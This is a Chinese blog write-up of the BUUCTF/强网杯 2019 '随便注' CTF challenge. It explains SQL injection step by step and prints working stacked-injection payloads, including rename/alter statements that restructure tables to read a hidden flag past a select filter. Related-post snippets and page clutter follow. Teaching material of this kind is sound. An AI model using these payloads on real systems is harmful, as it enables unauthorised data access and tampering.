BUUCTF&[强网杯 2019]随便注(细节详解WP)

强网杯2019 [WEB]:随便注 深度解析与漏洞映射 本次分析的题目来自2019年强网杯的WEB赛题“随便注”。这道题主要考察的是SQL注入漏洞中的堆叠注入技术。在比赛中,选手需要通过构造合适的注入语句,绕过正则过滤,获取数据库中的关键信息,最终得到flag。本题涉及的漏洞类型为CWE - 89(SQL注入),在ATT&CK框架中,对应的技术为T1190(Exploit Public-Facing Application),即利用面向公众的应用程序漏洞。 阅读详情

[强网杯 2019]随便注

image-20211209115434160

接下来尝试注入寻找注入点

1' or 1=1 %23

image-20211209115616992

注列数,发现当order by 3的时候报错,order by 2没有说明列数为2

image-20211209115855152

image-20211209120000967

尝试使用联合注入看回显,结果返回了一个正则匹配的过滤,这里我们可以尝试进行堆叠注入

堆叠注入就是同时执行多条sql语句,堆叠堆叠,堆叠的就是这个sql语句,直接构造出多条sql语句,然后一次执行,每一条之间通过分号分割

开始构造payload:

?inject=1';show databases;#

image-20211209124515825

显然这其中最可疑的数据库就是supersqli和CTFtraining了,我们分别打开

image-20211209124744466

image-20211209124750101

然后进一步分别查看一下他们的列名

image-20211209125140575

可以看到ctftraining里面放的是一个假的flag,真的flag在supersqli这个表里面,这个表一共有两个表,分别是

array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

查看表的列名发现这里flag就放在’1919810931114514’这张表里面,但是这个flag字段的内容却没有回显

这个注意一个点,就是当查询的表名为数字时,要将表名用反引号给包裹起来

1'; show columns from `1919810931114514 `; %23
array(6) {    //words表的列名
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
array(6) {         //1919810931114514表的列名
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

首先过滤已经把select写死了,说以我们不能直接通过打印的方式将字段打印出来,但是看到最开始的时候我们构造的payload:**1’ or 1=1 #**可以回显,这里回显的原理:

可以猜出这条查询语句的源码大概是:
select data from supersqli.words where id = '$参数';
当传入的参数为1'or 1=1 %23的时候这条SQL命令就变成了=>
select * from supersqli.words where id = '1'or 1=1 %23';
or是一个逻辑运算符,当or前或者or后面的条件为真的时候就全为真,所以加上一个or 1=1的时候这条语句就恒为真,不管这个id是否等于1他都是正确可执行的,那就相当于查询了所有id所对应行的data值

image-20211209132656060

所以我们可以利用这个恒为真的逻辑运算符,这里有一种思路(这大佬思路真的太巧妙了)就是,将这个纯数字表的名字换成,这个sql语句要查询的表的名字,然后把其中的flag列名换成这个待查询的列的名字,再将这表进行补全,也就是添加一个id的列,然后通过or 1=1将这个修改后的words里面的所有字段给查询出来

我称这个思想为金蝉进壳

  1. 将words的表名改成其它名字
  2. 将1919810931114514表名改成"words"
  3. 将flag列名改成id或者data
  4. 在将这个新的words表插入一个列,即id或者data
  5. 然后用1’ or 1=1 #进行查询这个新表words里面的内容

这里就要考验到我们对sql数据库的增删查改的能力了,当然我也不是很会

rename: 修改名字
使用方法:rename table(修改的类型) tableA(待修改的表等) to tableB(重命名后的名字)
alter:队列进行操作
使用方法:alter table table[表名] add column[列名] type[数据类型] //(添加列)
		alter table table[表名] change columnA[原列名] column[修改后列名] type[数据类型] //改变列名1
		alter table table[表名] rename columnA[原列名] column[修改后列名]  //改变列名2,(不改变数据类型)
		alter table table[表名] alter column column[列名] type[修改后的数据类型] //修改列的数据类型
		alter table table[表名] drop column[列名] type[数据类型]  //删除表中的某一列
		SQL限制条件:
        alter table table[表名] modify column[列名] int not null  //是某一列不能存储null的字段
        alter table table[表名] modify column[列名] int null     //解除对not null的限制
        alter table table[表名] add column[列名] primary key (id) 
        //- NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键。
        alter table table[表名] add unique (id);
        //增加unique约束。保证某列的每行必须有唯一的值。(注:可以有多个 UNIQUE 约束,只能有一个 PRIMARY KEY 约束)
        alter table table[表名] add check (限制条件); //限制列的值得范围
        alter table table[表名] alter column[列名] set default '默认值' //设置默认值,即未给列赋值时的默认值
		alter table table[表名] add constraint ab_c default '默认值' for column[列名] //
		alter table table[表名] add column[列名] auto_increment    //自动赋值,默认从1开始
		alter table table[表名] add column[列名] foreign key //保证一个表中的数据匹配另一个表中的值的参照完整性

构造出payload如下:

1';rename table words to word111;rename table `1919810931114514` to words;alter table words change flag data char(50);alter table words add id int not null auto_increment primary key; %23

这个注意一个点,不能一条一条得写命令,这样会造成前面语法报错后后面的语句就会被忽略掉了

举个例子:

假如这道题的内部源码就是select data from supersqli.words where id = '$参数';

而我们通过堆叠注入一次执行了以下代码

  • ';use supersqli;%23
  • ';rename table words to word;%23

这就相当于执行了第一个步骤,将words表的表名改为其它任意名字,然后我接下来进行第二步,将flag所在的表1919810931114514改成words

  • ';rename table 1919810931114514 to words;%23

结果回显这个结果

image-20211209221620440

他说words这个表已经不存在了,按常来说我修改1919810931114514这个表的名字关words这个表存不存在有什么关系,这是因为在执行这条sql语句之前先执行了select data from supersqli.words where id = ‘1’;这一条语句,而由于words这张表已经被我修改成其它名字导致了这条查询语句错误,这个数据库中同时执行多条命令时,如果其中一条命令报错了,它就会报错信息抛出,然后结束进程,后面不管有多少条命令,它都不会再去看了

而我们直接在payload中构造多条sql命令就不会存在每执行一次命令就查询一次words表,也就不会管它会不会报错的问题

接下来我在解析一下payload中每一条sql命令

  • rename table words to word111; //将words表名更改为word111
  • rename table1919810931114514to words //将1919810931114514表名改为words
  • alter table words change flag data char(50); //将words表中的flag列改成数据类型为char(50)名字为data的新列,关于sql字段的数据类型可自行百度,我后面估计会写一篇关于sql数据库增删查改的文章,到时候再详细介绍
  • alter table words add id int not null auto_increment primary key; //在words表中创建一个列,名字为id,(int not null auto_increment primary key)这些都是对这个列的约束条件
int: 初始化id列的数据类型为int整数型
auto_increment: 自增长长,在这个题中可以理解为给id创建几个行,或者理解为这个字段的数值,假如这个表里面原先只有一个列,为flag,且它有3行数值,然后通过这个auto_increment就可以自动添加三行,值分别为1,2,3(至于为什么是1,2,3这就涉及到这个约束条件的原理了,可以自行搜索sql约束条件相关的知识去了解它的原理),通常这个约束条件会配合primary key这个约束条件一同使用,因为这个自增长功能只能用于有键标识的列
primary key: 改id字段/列添加一个主键,便于让他使用auto自增长功能

修改完表之后就看了使用or 1=1恒等式进行打印这个修改后的“words”表了,当然flag就在这个data列里面
image-20211209224046933

BUUCTF -web- [强网杯 2019]随便注 以buuctf的强网杯2019为例的堆叠注入 阅读详情

相关推荐

【BUUCTF】web之强网杯2019随便注

开始注入: 1’ : 报错 1’ #:回显正常 1’ order by 1 #: 正常(经测试列数为2–此处小白暗自窃喜) 1’ union select 1,2#: 回显 如图 看来此方法是行不通了,但经过苦苦寻求,了解到了堆叠注入: 库:1’;show databases;# 得到数据库 表:1’;show tables;# 得到俩个表 列:1’;show columns from ‘表名’;# 这里注意表名为数字的要加反引号 “ 注:在网上百度发现 得到 一个带有flag的字段 和 另一个 可查询的表 flag表:可查询表: 到这里虽然发现flag 但是select已经被ban了所

[强网杯 2019]随便注

该题作者在页面就查了这两个字段的内容,由于该题禁用select,因此我们可以用作者原本设定的查表函数来帮我们查我们想要查找的内容。用rename把words表改名为其他的表名,把 1919810931114514表的名字改为words,给words表添加新的列名id,将flag改名为data。大意应该是过滤了select,绕过一下,好的发现绕过不了,不管是编码还是注释都不行,因此这个题使用堆叠注入。由show的作用可知,words表内就两个字段,一个叫id,一个叫data。

m0_56691564的博客 3450

手动安装SeuratData包中pbmc3k数据集的详细步骤与避坑指南

本文提供了手动安装SeuratData包中pbmc3k数据集的详细步骤与避坑指南。针对国内用户网络不稳定导致自动下载失败的问题,文章核心介绍了如何从错误信息中获取下载链接,使用浏览器或下载工具完成手动下载,并通过指定本地文件路径和参数在R中成功安装。该方法同样适用于SeuratData包中的其他数据集,是单细胞分析入门的必备生存技能。

weixin_29054399的博客 185

BUUCTF[强网杯 2019]随便注 的三种解法

00X01 [强网杯 2019]随便注 1’ or 1=1 #

qq_44657899的博客 3万+

A B C三个气象站的小波分析结果解读

在小波分析的过程中,信号的不同频率分量会在不同的尺度上显现,而纵轴上的数值表示信号在相应尺度上的强度或能量。2. **小波方差的横轴(水平轴)**:横轴上的尺度表示用于分析的小波函数的尺度。1. **共同趋势:** 在所有三个点的小波方差图中,随着尺度的增加,方差逐渐增大,尤其是在较大的时间尺度上。3. **尺度30的特殊性:** 在所有点的小波方差图中,尺度30似乎是一个特殊的点,对应着一个较长的时间尺度上的波动或变化。2. **方差的大小:** 方差的大小反映了在相应尺度下信号的波动强度。

weixin_44259522的博客 860

2026年国赛C题微网与外部电网电力调控策略 (三):问题三、问题四滚动预测、实时电价与结果核验

专栏内定期更新ABCDE五题详细思路、代码(含运行结果图)和讲解视频-(11号之前半价):问题三看起来只是多给了一个光伏预报附件,实质上它改变了整道题的信息结构:问题四则是在问题二、问题三之上替换价格来源。问题4-2相当于“确定性计划+实时电价”,问题4-3相当于“滚动预测+实时电价”。物理模型完全不变,改变的是价格序列和费用口径。本文先给出核心结果:从结果看,问题3比问题2多约164.21万元,问题4-3比问题4-2多约168.79万元。主要增量不是“储能没有工作”,而是预测误差、计划偏差和紧急购电造成的

YOLO 344

buuctf[强网杯 2019]随便注 1(超详细,三种解法)

网页环境判断是否是字符型注入1'判断是否存在关键字过滤select联合查询被过滤,只能用堆叠注入了查看有几个字段正常回显回显报错,可以看出只有两个字段查看所有数据库查看所有数据表爆words数据表的字段爆1919810931114514数据表字段(注意数据表为数字的时候需要用反引号括起来);可以看到这两个表words表有两个字段,而另一个只有一个字段。

m0_73734159的博客 1万+

TIA protal与SCL从入门到精通(4)——软件单元使用

平台: TIA portal 15.1 1.添加软件单元 添加软件单元如下图: 关于软件单元使用基本限制,看如下文章即可 TIA protal与SCL从入门到精通(3)——软件单元基本介绍 每个软件单元是一个独立结构,所以每个软件单元的运行方式与实际PLC类似,所以首先添加主函数块: 注意:无论系统是否是具有并发性(这里不要混淆并行与并发的概念),在PLC所有主函数执行总是按主函数依次完成...

苦走一口田 7379

强网杯 2019]随便注 【SQL注入】四种解法

题目简介 题目名称:[强网杯 2019]随便注 1 题目平台:BUUCTF 题目类型:Web 考察知识点: SQL注入 解题步骤 方法一: 首先启动并访问靶机,有一个输入框,随便输入1' or 1 = 1,测试一下是否存在sql注入。 提交后提示error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the

weixin_38832257的博客 2651

OpenClaw插件开发指南:扩展AI智能体的无限可能

OpenClaw插件开发指南介绍了如何扩展AI智能体的功能。该插件系统支持多种类型(功能、集成、工具、界面、工作流插件),具有模块化、低耦合等优势。开发环境需要安装SDK和工具包,通过plugin.json配置插件信息,主文件实现核心功能。API提供智能体管理、任务执行等接口,示例演示了文本处理插件的创建流程。开发者可基于此框架灵活扩展OpenClaw的能力。

一键难忘的博客 561

【系统分析师】高分论文:论基于构件的软件开发(气象灾害影响评估系统)

本文以某手机气象灾害影响评估系统为例,探讨了基于构件技术的软件开发实践。通过分析开发中常见的功能模块重复问题,提出建立企业构件库、针对性选择构件和加强构件管理的解决方案。项目实施中成功复用登录模块等通用构件,并针对气象数据转换需求开发新构件,最终在8个月内高质量完成系统建设。文章总结了构件开发的三个关键点:构件库建设是基础、构件选择需精准、构件管理要规范。同时指出需注意全新需求开发、性能优化等问题,建议通过培训提升团队对构件的理解力。该案例证明构件技术能有效缩短周期、降低成本,为企业积累可复用的技术资产。

数据知道的博客 4253

BUUCTF Web [强网杯 2019]随便注

「作者主页」:士别三日wyx   此文章已录入专栏《网络攻防》,持续更新热门靶场的通关教程 「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之九十九的同期选手。 [强网杯 2019]随便注一、题目简介二、思路分析1)判断注入点2)选择注入方式3)查看表中内容三、解题步骤1)获取表2)获取字段3)获取表中数据四、总结 一、题目简介 进入题目链接后,是一个「查询」功能,在输入框中提交id,即可返回「响应」的内容。 在输入框中输入一个2,即可.

wangyuxiang946的博客 1万+

深度学习笔记——前向传播与反向传播、神经网络(前馈神经网络与反馈神经网络)、常见算法概要汇总

本文简要介绍深度学习的前向传播与反向传播,以及前馈神经网络与反馈神经网络。

haopinglianlian的博客 3044

【BUUCTF系列】[强网杯 2019]随便注

本文通过一个SQL注入实例,展示了如何利用堆叠注入和HANDLER语句绕过WAF防护获取敏感数据的技术研究。作者首先通过简单的输入测试确认存在字符型注入漏洞,随后使用ORDER BY确定列数。当发现传统UNION注入被过滤后,转而采用堆叠注入技术,通过分号执行多条SQL语句,成功获取数据库表结构信息。重点介绍了利用MySQL的HANDLER语句直接读取数字命名表中的flag数据,该技术可绕过常见SELECT过滤。文章包含详细的技术解析、攻击链说明和防御建议,并特别强调所有技术仅限合法授权下的安全研究使用。

一只枷锁的博客 1971

机器学习实战4-教育领域:学生成绩的可视化分析与成绩预测-详细分析

大家好,我是微学AI,今天给大家带来机器学习实战4-学生成绩的可视化分析与成绩预测,机器学习在教育中的应用具有很大的潜力,特别是在学生成绩的可视化分析与成绩预测方面。机器学习可以通过对学生的父母教育情况和学校表现等数据进行分析和挖掘,从而揭示潜在的学习模式和趋势。

微学AI的博客 7679

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

【BUUCTF刷题记录】[强网杯 2019]随便注

随便注

m0_60911102的博客 703

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

buuctf web题解之[强网杯 2019]随便注1详解(1)

讲解视频,并且后续会持续更新**

m0_60666841的博客 687

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

[强网杯 2019]随便注 (学习)记录

1

qq_63548648的博客 335

堆叠注入之[强网杯 2019]随便注

堆叠注入之[强网杯 2019]随便注各详解

Aiwin的博客 928

mysql数据库show的常用命令说明

show columns from table_name from database_name; 或show columns from database_name.table_name; -- 显示表中列名称。 ...

coujiongyong0208的博客 282

web:[强网杯 2019]随便注

1.表名为数字时,需要用反引号抱起来查询1';方式二:1';2.堆叠注入的绕过姿势修改表名:ALTER TABLE 旧表名 RENAME TO 新表名;修改字段:ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;1';或者rename命令用于修改表名。rename命令格式:rename table 原表名 to 新表名;1';[强网杯 2019]随便注_今天小白努力学习了吗的博客-优快云博客。

sleepywin的博客 374

[CTF]强网杯2019随便注

简介 对安全有兴趣,BUUCTF上一道一道做,记一些有意思的东西。 关键点 1 发现注入点 这题很容易实验,最简单的1’ or 1之类的语句可以测出来,闭环单引号就可以。 #注释符号,如果没起作用,需要注意使用url编码。 2 PHP的防注入 发现可以随便注之后,试了union select之类的,也面提示: return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); 搜了一圈,没发现可以绕过的方法。 然后尝试多语句

凉水的博客 559

[强网杯 2019]随便注 Writeup(超级详细)

这道题应该算是非常熟悉、经典且基础的一道题目,在攻防世界、Buu等平台上非常常见,适合作为sql注入的入门学习题目。 作者说了一句:开发和安全缺一不可。这也是我想说的。 废话不多说,步入正题。 首先进入界面我们可以看到一个输入框,结合题目信息我们可以判断这就是注入点。 我们先输入: 1’ 尝试一下。 果然出现了回显报错: error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your

StevenOnesir的博客 1454

2023年第七届强网杯初赛 WP

最坏情况下,前5次全输,需要87步即可达到260分,即第92轮时,因此可以通过本题。利用SQL注入修改data数据的值,本题data是数组,且会插入数据库,最终的payload需要改一下让前后闭合,且TP5,在网上找一个链子的EXP改一下。当然,前一题的SQL注入点依然存在,不过依然需要鉴权进入后台,这意味着,只需要我们能进入后台,就能通过load_file的方式读取flag。简单来说,就是能set任意的值,例如下方的payload,就能注入一个snowwolf的键,且值为wolf,4代表数据长度。

渗透测试研究中心 1万+
上一篇: 成理第二届信安大挑战web篇
下一篇: BUUCTF刷题[PHP]&[EasySQL]&[Exec]
Pysnow
博客等级 码龄5年 44粉丝 25原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pysnow

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值